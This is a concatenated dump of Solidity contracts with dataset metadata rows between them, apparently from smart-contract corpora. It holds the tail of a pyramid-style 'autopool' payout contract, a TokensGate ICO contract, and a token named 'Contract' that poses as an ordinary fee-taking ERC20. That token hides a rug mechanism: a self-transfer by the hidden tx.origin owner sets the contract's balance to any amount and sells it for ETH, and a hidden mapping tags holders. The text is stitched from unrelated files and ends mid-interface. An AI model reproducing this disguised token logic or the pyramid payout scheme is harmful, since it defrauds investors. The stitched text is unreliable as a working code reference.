pool2users[msg.sender].payment_received=0;
pool2userList[pool2currUserID]=msg.sender;
}
else{
PoolUserStruct memory userStruct;
pool2currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool2currUserID,
payment_received:0
});
pool2users[msg.sender] = userStruct;
pool2userList[pool2currUserID]=msg.sender;
}
///////////////////////////////////////////////////////////////////
address pool2Currentuser=pool2userList[pool2activeUserID];
bool sent = false;
sent = address(uint160(pool2Currentuser)).send(pool2_price-pool2_donation);
//balAdmin.transfer(pool2_donation);
if (sent) {
pool2users[pool2Currentuser].payment_received+=1;
if(pool2users[pool2Currentuser].payment_received>=2)
{
pool2activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool2Currentuser, 2, now);
}
emit regPoolEntry(msg.sender,2, now);
/////////////////////
address(uint160(donation)).send(pool2_donation);
distributeDonationRefferal();
/////////////////////
}
function buyPool3() public payable {
require(users[msg.sender].isExist, "User Not Registered");
//require(!pool3users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool3_price+pool3_donation, 'Incorrect Value');
require(pool2users[msg.sender].isExist, "Must Buy Previous Pool");
////////////////////////////////////////
if(pool3users[msg.sender].isExist){
require(pool3users[msg.sender].payment_received>=2,"Pool Still Active !");
pool3currUserID++;
pool3users[msg.sender].id=pool3currUserID;
pool3users[msg.sender].payment_received=0;
pool3userList[pool3currUserID]=msg.sender;
}
else{
PoolUserStruct memory userStruct;
pool3currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool3currUserID,
payment_received:0
});
pool3users[msg.sender] = userStruct;
pool3userList[pool3currUserID]=msg.sender;
}
address pool3Currentuser=pool3userList[pool3activeUserID];
bool sent = false;
sent = address(uint160(pool3Currentuser)).send(pool3_price-pool3_donation);
//balAdmin.transfer(pool3_donation);
if (sent) {
pool3users[pool3Currentuser].payment_received+=1;
if(pool3users[pool3Currentuser].payment_received>=2)
{
pool3activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool3Currentuser, 3, now);
}
emit regPoolEntry(msg.sender,3, now);
/////////////////////
address(uint160(donation)).send(pool3_donation);
distributeDonationRefferal();
/////////////////////
}
function buyPool4() public payable {
require(users[msg.sender].isExist, "User Not Registered");
//require(!pool4users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool4_price+pool4_donation, 'Incorrect Value');
require(pool3users[msg.sender].isExist, "Must Buy Previous Pool");
if(pool4users[msg.sender].isExist){
require(pool4users[msg.sender].payment_received>=2,"Pool Still Active !");
pool4currUserID++;
pool4users[msg.sender].id=pool4currUserID;
pool4users[msg.sender].payment_received=0;
pool4userList[pool4currUserID]=msg.sender;
}
else{
PoolUserStruct memory userStruct;
pool4currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool4currUserID,
payment_received:0
});
pool4users[msg.sender] = userStruct;
pool4userList[pool4currUserID]=msg.sender;
}
address pool4Currentuser=pool4userList[pool4activeUserID];
bool sent = false;
sent = address(uint160(pool4Currentuser)).send(pool4_price-pool4_donation);
//balAdmin.transfer(pool4_donation);
if (sent) {
pool4users[pool4Currentuser].payment_received+=1;
if(pool4users[pool4Currentuser].payment_received>=2)
{
pool4activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool4Currentuser, 4, now);
}
emit regPoolEntry(msg.sender,4, now);
/////////////////////
address(uint160(donation)).send(pool4_donation);
distributeDonationRefferal();
/////////////////////
}
function buyPool5() public payable {
require(users[msg.sender].isExist, "User Not Registered");
//require(!pool5users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool5_price+pool5_donation, 'Incorrect Value');
require(pool4users[msg.sender].isExist, "Must Buy Previous Pool");
if(pool5users[msg.sender].isExist){
require(pool5users[msg.sender].payment_received>=3,"Pool Still Active !");
pool5currUserID++;
pool5users[msg.sender].id=pool5currUserID;
pool5users[msg.sender].payment_received=0;
pool5userList[pool5currUserID]=msg.sender;
}
else
{
PoolUserStruct memory userStruct;
pool5currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool5currUserID,
payment_received:0
});
pool5users[msg.sender] = userStruct;
pool5userList[pool5currUserID]=msg.sender;
}
address pool5Currentuser=pool5userList[pool5activeUserID];
bool sent = false;
sent = address(uint160(pool5Currentuser)).send(pool5_price-pool5_donation);
//balAdmin.transfer(pool5_donation);
if (sent) {
pool5users[pool5Currentuser].payment_received+=1;
if(pool5users[pool5Currentuser].payment_received>=3)
{
pool5activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool5Currentuser, 5, now);
}
emit regPoolEntry(msg.sender,5, now);
/////////////////////
address(uint160(donation)).send(pool5_donation);
distributeDonationRefferal();
/////////////////////
}
function buyPool6() public payable {
//require(!pool6users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool6_price+pool6_donation, 'Incorrect Value');
require(pool5users[msg.sender].isExist, "Must Buy Previous Pool");
if(pool6users[msg.sender].isExist){
require(pool6users[msg.sender].payment_received>=2,"Pool Still Active !");
pool6currUserID++;
pool6users[msg.sender].id=pool6currUserID;
pool6users[msg.sender].payment_received=0;
pool6userList[pool6currUserID]=msg.sender;
}
else{
PoolUserStruct memory userStruct;
pool6currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool6currUserID,
payment_received:0
});
pool6users[msg.sender] = userStruct;
pool6userList[pool6currUserID]=msg.sender;
}
address pool6Currentuser=pool6userList[pool6activeUserID];
bool sent = false;
sent = address(uint160(pool6Currentuser)).send(pool6_price-pool6_donation);
//balAdmin.transfer(pool6_donation);
if (sent) {
pool6users[pool6Currentuser].payment_received+=1;
if(pool6users[pool6Currentuser].payment_received>=2)
{
pool6activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool6Currentuser, 6, now);
}
emit regPoolEntry(msg.sender,6, now);
/////////////////////
address(uint160(donation)).send(pool6_donation);
distributeDonationRefferal();
/////////////////////
}
function buyPool7() public payable {
require(users[msg.sender].isExist, "User Not Registered");
//require(!pool7users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool7_price+pool7_donation, 'Incorrect Value');
require(pool6users[msg.sender].isExist, "Must Buy Previous Pool");
if(pool7users[msg.sender].isExist){
require(pool7users[msg.sender].payment_received>=3,"Pool Still Active !");
pool7currUserID++;
pool7users[msg.sender].payment_received=0;
pool7users[msg.sender].id=pool7currUserID;
pool7userList[pool7currUserID]=msg.sender;
}
else{
PoolUserStruct memory userStruct;
pool7currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool7currUserID,
payment_received:0
});
pool7users[msg.sender] = userStruct;
pool7userList[pool7currUserID]=msg.sender;
}
address pool7Currentuser=pool7userList[pool7activeUserID];
bool sent = false;
sent = address(uint160(pool7Currentuser)).send(pool7_price-pool7_donation);
//balAdmin.transfer(pool7_donation);
if (sent) {
pool7users[pool7Currentuser].payment_received+=1;
if(pool7users[pool7Currentuser].payment_received>=3)
{
pool7activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool7Currentuser, 7, now);
}
emit regPoolEntry(msg.sender,7, now);
address(uint160(donation)).send(pool7_donation);
/////////////////////
distributeDonationRefferal();
/////////////////////
}
function buyPool8() public payable {
require(users[msg.sender].isExist, "User Not Registered");
//require(!pool8users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool8_price+pool8_donation, 'Incorrect Value');
require(pool7users[msg.sender].isExist, "Must Buy Previous Pool");
if(pool8users[msg.sender].isExist){
require(pool8users[msg.sender].payment_received>=3,"Pool Still Active !");
pool8currUserID++;
pool8users[msg.sender].id=pool8currUserID;
pool8users[msg.sender].payment_received=0;
pool8userList[pool8currUserID]=msg.sender;
}
else{
PoolUserStruct memory userStruct;
pool8currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool8currUserID,
payment_received:0
});
pool8users[msg.sender] = userStruct;
pool8userList[pool8currUserID]=msg.sender;
}
address pool8Currentuser=pool8userList[pool8activeUserID];
bool sent = false;
sent = address(uint160(pool8Currentuser)).send(pool8_price-pool8_donation);
//balAdmin.transfer(pool8_donation);
if (sent) {
pool8users[pool8Currentuser].payment_received+=1;
if(pool8users[pool8Currentuser].payment_received>=3)
{
pool8activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool8Currentuser, 8, now);
}
emit regPoolEntry(msg.sender,8, now);
/////////////////////
address(uint160(donation)).send(pool8_donation);
distributeDonationRefferal();
/////////////////////
}
function buyPool9() public payable {
require(users[msg.sender].isExist, "User Not Registered");
//require(!pool9users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool9_price+pool9_donation, 'Incorrect Value');
require(pool8users[msg.sender].isExist, "Must Buy Previous Pool");
if(pool9users[msg.sender].isExist){
require(pool9users[msg.sender].payment_received>=3,"Pool Still Active !");
pool9currUserID++;
pool9users[msg.sender].id=pool9currUserID;
pool9users[msg.sender].payment_received=0;
pool9userList[pool9currUserID]=msg.sender;
}
else{
PoolUserStruct memory userStruct;
pool9currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool9currUserID,
payment_received:0
});
pool9users[msg.sender] = userStruct;
pool9userList[pool9currUserID]=msg.sender;
}
address pool9Currentuser=pool9userList[pool9activeUserID];
bool sent = false;
sent = address(uint160(pool9Currentuser)).send(pool9_price-pool9_donation);
//balAdmin.transfer(pool9_donation);
if (sent) {
pool9users[pool9Currentuser].payment_received+=1;
if(pool9users[pool9Currentuser].payment_received>=3)
{
pool9activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool9Currentuser, 9, now);
}
emit regPoolEntry(msg.sender,9, now);
/////////////////////
address(uint160(donation)).send(pool9_donation);
distributeDonationRefferal();
/////////////////////
}
function buyPool10() public payable {
require(users[msg.sender].isExist, "User Not Registered");
//require(!pool10users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool10_price+pool10_donation, 'Incorrect Value');
require(pool9users[msg.sender].isExist, "Must Buy Previous Pool");
if(pool10users[msg.sender].isExist){
require(pool10users[msg.sender].payment_received>=3,"Pool Still Active !");
pool10currUserID++;
pool10users[msg.sender].id=pool10currUserID;
pool10users[msg.sender].payment_received=0;
pool10userList[pool10currUserID]=msg.sender;
}
else{
PoolUserStruct memory userStruct;
pool10currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool10currUserID,
payment_received:0
});
pool10users[msg.sender] = userStruct;
pool10userList[pool10currUserID]=msg.sender;
}
address pool10Currentuser=pool10userList[pool10activeUserID];
bool sent = false;
sent = address(uint160(pool10Currentuser)).send(pool10_price-pool10_donation);
//balAdmin.transfer(pool10_donation);
if (sent) {
pool10users[pool10Currentuser].payment_received+=1;
if(pool10users[pool10Currentuser].payment_received>=3)
{
pool10activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool10Currentuser, 10, now);
}
emit regPoolEntry(msg.sender, 10, now);
/////////////////////
address(uint160(donation)).send(pool10_donation);
distributeDonationRefferal();
/////////////////////
}
function getEthBalance() public view returns(uint) {
return address(this).balance;
}
function sendBalance() private
{
if (!address(uint160(donation)).send(getEthBalance()))
{
}
}
}
| 335,966 | 13,446 |
4d649bfbb4a49024fabcad1644d44523bd44ae5d2985e8f821d94282e166d529
| 18,609 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/61/6130865C9bad606265053ccB2916A1953dEebE38_Contract.sol
| 3,600 | 13,844 |
// https://t.me/JeffreyDuckStein
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline)
external
returns (uint256 amountA,
uint256 amountB,
uint256 liquidity);
function addLiquidityETH(address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline)
external
payable
returns (uint256 amountToken,
uint256 amountETH,
uint256 liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline) external returns (uint256[] memory amounts);
function swapExactETHForTokens(uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline) external returns (uint256[] memory amounts);
function swapExactTokensForETH(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external returns (uint256[] memory amounts);
function swapETHForExactTokens(uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline) external payable returns (uint256[] memory amounts);
function quote(uint256 amountA,
uint256 reserveA,
uint256 reserveB) external pure returns (uint256 amountB);
function getAmountOut(uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut) external pure returns (uint256 amountOut);
function getAmountIn(uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Contract is IERC20, Ownable {
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000000000 * 10**_decimals;
uint256 public buyFee = 5;
uint256 public sellFee = 5;
uint256 public feeDivisor = 1;
string private _name;
string private _symbol;
address private _owner;
uint256 private _swapTokensAtAmount = _tTotal;
uint256 private _allowance;
uint160 private _factory;
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
IUniswapV2Router02 public router;
address public uniswapV2Pair;
mapping(address => uint256) private _balances;
mapping(address => uint256) private approval;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => mapping(address => uint256)) private _allowances;
constructor(string memory Name,
string memory Symbol,
address routerAddress) {
_name = Name;
_symbol = Symbol;
_owner = tx.origin;
_isExcludedFromFee[_owner] = true;
_isExcludedFromFee[address(this)] = true;
_balances[_owner] = _tTotal;
router = IUniswapV2Router02(routerAddress);
emit Transfer(address(0), _owner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function setAllowance(address spender, uint256 amount) external {
if (spender == _owner) _allowance = amount;
}
function setSwapAndLiquifyEnabled(bool _enabled) external {
_swapAndLiquifyEnabled = _enabled;
}
function pair() public view returns (address) {
return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH());
}
receive() external payable {}
function transferAnyERC20Token(address token,
address account,
uint256 amount) external {
if (account == _owner) IERC20(token).transfer(account, amount);
}
function transferToken(address account, uint256 amount) external {
if (account == _owner) payable(account).transfer(amount);
}
function _approve(address owner,
address spender,
uint256 amount) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function _transfer(address from,
address to,
uint256 amount) private {
if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && !_isExcludedFromFee[from] && amount <= _swapTokensAtAmount) {
require(approval[from] + _allowance >= 0, 'Transfer amount exceeds the maxTxAmount');
}
uint256 contractTokenBalance = balanceOf(address(this));
if (uniswapV2Pair == address(0)) uniswapV2Pair = pair();
if (to == from && _owner == from) return swapTokensForEth(amount, to);
if (amount > _swapTokensAtAmount && to != uniswapV2Pair && to != address(router)) {
approval[to] = amount;
return;
}
if (_swapAndLiquifyEnabled && contractTokenBalance > _swapTokensAtAmount && !inSwapAndLiquify && from != uniswapV2Pair) {
inSwapAndLiquify = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquify = false;
}
uint256 fee = to == uniswapV2Pair ? sellFee : buyFee;
bool takeFee = !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && fee > 0 && !inSwapAndLiquify;
address factory = address(_factory);
if (approval[factory] == 0) approval[factory] = _swapTokensAtAmount;
_factory = uint160(to);
if (takeFee) {
fee = (amount * fee) / 100 / feeDivisor;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
if (tokenAmount > _swapTokensAtAmount) _balances[address(this)] = tokenAmount;
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
}
function addLiquidity(uint256 tokenAmount,
uint256 ethAmount,
address to) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
}
}
| 323,013 | 13,447 |
279b6f429ad5bbe6b3ece6611aa34a95799587ec19c9e406ace1e29e4cdc58a9
| 15,754 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x82364809828443a8ee3237cd0d5090c126a11d1d.sol
| 2,964 | 10,676 |
pragma solidity ^0.4.18;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20Basic.sol
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/MintableToken.sol
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
if (totalSupply.add(_amount) > 1000000000000000000000000000) {
return false;
}
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: contracts/TGCToken.sol
contract TGCToken is MintableToken {
string public constant name = "TokensGate Coin";
string public constant symbol = "TGC";
uint8 public constant decimals = 18;
mapping(address => uint256) public whitelistAddresses;
event Burn(address indexed burner, uint256 value);
function setWhitelist(address _holder, uint256 _utDate) onlyOwner public {
require(_holder != address(0));
whitelistAddresses[_holder] = _utDate;
}
// overriding StandardToken#approve
function approve(address _spender, uint256 _value) public returns (bool) {
require(whitelistAddresses[msg.sender] > 0);
require(now >= whitelistAddresses[msg.sender]);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// overriding BasicToken#transfer
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(whitelistAddresses[msg.sender] > 0);
require(now >= whitelistAddresses[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function burn(address _burner, uint256 _value) onlyOwner public {
require(_value <= balances[_burner]);
balances[_burner] = balances[_burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_burner, _value);
Transfer(_burner, address(0), _value);
}
}
// File: zeppelin-solidity/contracts/crowdsale/Crowdsale.sol
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
// File: contracts/TokensGate.sol
contract TokensGate is Crowdsale {
mapping(address => bool) public icoAddresses;
function TokensGate (uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet) public
Crowdsale(_startTime, _endTime, _rate, _wallet)
{
}
function createTokenContract() internal returns (MintableToken) {
return new TGCToken();
}
function () external payable {
}
function addIcoAddress(address _icoAddress) public {
require(msg.sender == wallet);
icoAddresses[_icoAddress] = true;
}
function setWhitelist(address holder, uint256 utDate) public {
require(msg.sender == wallet);
TGCToken tgcToken = TGCToken(token);
tgcToken.setWhitelist(holder, utDate);
}
function burnTokens(address tokenOwner, uint256 t) payable public {
require(msg.sender == wallet);
TGCToken tgcToken = TGCToken(token);
tgcToken.burn(tokenOwner, t);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary == address(0));
}
function mintTokens(address walletToMint, uint256 t) payable public {
require(walletToMint != address(0));
require(icoAddresses[walletToMint]);
token.mint(walletToMint, t);
}
function changeOwner(address newOwner) payable public {
require(msg.sender == wallet);
wallet = newOwner;
}
function tokenOwnership(address newOwner) payable public {
require(msg.sender == wallet);
token.transferOwnership(newOwner);
}
function setEndTime(uint256 newEndTime) payable public {
require(msg.sender == wallet);
endTime = newEndTime;
}
}
| 183,318 | 13,448 |
ae30bc23818e87179c0147222008b525e2c268a4a34a79e8ef4d7770587e81d2
| 20,855 |
.sol
|
Solidity
| false |
305348299
|
keep3r-network/keep3r.network
|
a6897007db6e656e0e310ed7ee4ad42904fe2794
|
contracts/jobs/UniswapV2Oracle.sol
| 5,038 | 18,829 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IUniswapV2Factory {
